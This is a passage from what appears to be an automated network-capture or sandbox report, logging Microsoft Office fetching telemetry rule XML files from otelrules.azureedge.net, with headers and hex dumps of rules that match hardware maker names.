M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:53 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f2f6d8ae-201e-0096-414e-41ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215354Z-174f7845968pght8hC1EWRyvxg000000053g00000000d5te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:53 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:54 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215354Z-174f7845968frfdmhC1EWRxxbw000000124g000000003ask x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:54 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.9	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:54 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215354Z-174f7845968j6t2phC1EWRcfe8000000125g000000009bn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.9	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:54 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:54 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215354Z-174f7845968px8v7hC1EWR08ng000000129000000000884m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:54 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.9	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:54 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:54 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215354Z-174f7845968psccphC1EWRuz9s00000012c0000000000t53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:54 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.9	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:56 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:56 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 8bf79252-001e-0028-5c50-41c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215356Z-174f7845968pght8hC1EWRyvxg000000051000000000kun8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:56 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.9	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:56 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:56 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 451890cd-001e-0065-1114-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215356Z-174f7845968ljs8phC1EWRe6en00000011t000000000fpf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:56 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.9	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:56 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:56 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: c473f14b-c01e-00a2-5a07-412327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215356Z-174f784596886s2bhC1EWR743w00000011zg00000000eavu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:56 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:56 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 07dfe5f1-d01e-0028-4958-407896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215356Z-174f7845968px8v7hC1EWR08ng00000012ag000000004hct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:56 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.9	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:56 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:56 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215356Z-174f7845968jrjrxhC1EWRmmrs0000001280000000001zp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:56 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.9	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:58 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:58 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215358Z-174f7845968kvnqxhC1EWRmf3g0000000nt000000000ct7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:58 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.9	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:58 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215358Z-174f7845968swgbqhC1EWRmnb4000000123g00000000egyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> 